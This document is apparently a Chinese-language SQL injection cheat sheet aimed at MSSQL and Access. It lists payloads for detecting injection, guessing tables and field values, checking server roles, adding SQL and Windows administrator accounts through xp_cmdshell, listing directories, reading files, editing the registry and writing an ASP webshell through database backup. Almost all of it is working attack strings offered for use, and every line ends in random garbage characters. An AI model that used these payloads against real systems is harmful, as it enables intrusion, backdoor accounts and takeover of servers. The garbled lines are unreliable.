1.判断是否有注入;and 1=1 ;and 1=2 tP%{P"g3^
2.初步判断是否是mssql ;and user>0 9Xo[(h)5d
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3.注入参数是字符'and [查询条件] and ''=' 4bEf
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' U*P. :BvG
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5.判断数据库系统 WJ9cZL
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;and (select count(*) from sysobjects)>0 mssql ;/*6U
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;and (select count(*) from msysobjects)>0 access (V% `k'N7f
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 :4T("a5aM
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [e4]"v`N
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 rJInj>|{=
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9.(1)猜字段的ascii值(access) \yGsr Bl
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 O8W7<Wc|z
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(2)猜字段的ascii值(mssql) = }:)y0L
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 e<#DdpX!H~
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10.测试权限结构(mssql) h}Wdh1.M3
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- k%op>
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- EK$Kee}~
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- +EM_TTf4
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }/,CbKi,+
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' 2-oh
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6k/U3&R
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;and 1=(select IS_MEMBER('db_owner'));-- PSmfiaThwo
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11.添加mssql和系统的帐户 @i3bgx>_o
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;exec master.dbo.sp_addlogin username;-- io3yLIy,
;exec master.dbo.sp_password null,username,password;-- *+b6B_u]
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- -sMyt HH.
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;exec master.dbo.xp_cmdshell 'net user username password f0LP?]
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- S-nlr@w8
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- CC3v%^81l^
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- h
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12.(1)遍历目录 l~Lb!; ,dN
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;create table dirs(paths varchar(100), id int) 7a$G@
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 2_t=P|Uo
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;and (select top 1 paths from dirs)>0 -6Mm#sX
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) k 2%S`/:
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(2)遍历目录 |k{-l!HI
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =qvZpB7ZZ
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,`8Y8
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 dy>|cj
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 RX2{g^V7
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 fH8!YQG8$
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13.mssql中的存储过程 G7* h{nE
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xp_regenumvalues 注册表根键, 子键 v&MU=Tcqi
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
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xp_regread 根键,子键,键值名 emA!Ew(g
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 oaDsk<(j;R
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xp_regwrite 根键,子键, 值名, 值类型, 值
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 <5Mrp"C[i
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xp_regdeletevalue 根键,子键,值名 ;~sr$6
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 nb@" ?<L!
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w&lZ42(mF
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14.mssql的backup创建webshell g<[rH%\6fg
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use model F1A1@{8bN
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create table cmd(str image); "~p+0Xws9
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insert into cmd(str) values (''); ;WI]vn
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backup database model to disk='c:\l.asp'; '.p? 6k!K
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15.mssql内置函数 YlUpASW
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;and (select @@version)>0 获得Windows的版本号 #Mi|IwL
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa }#b
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;and (select user_name())>0 爆当前系统的连接用户 H,>#|F
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;and (select db_name())>0 得到当前连接的数据库 Gm&2R4 )EP
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16.简洁的webshell w4:<fnOM
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use model 56s*A*z$
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create table cmd(str image); YIDg'a+z
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insert into cmd(str) values (''); dp^N_9$cdO
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backup database model to disk='g:\wwwtest\l.asp';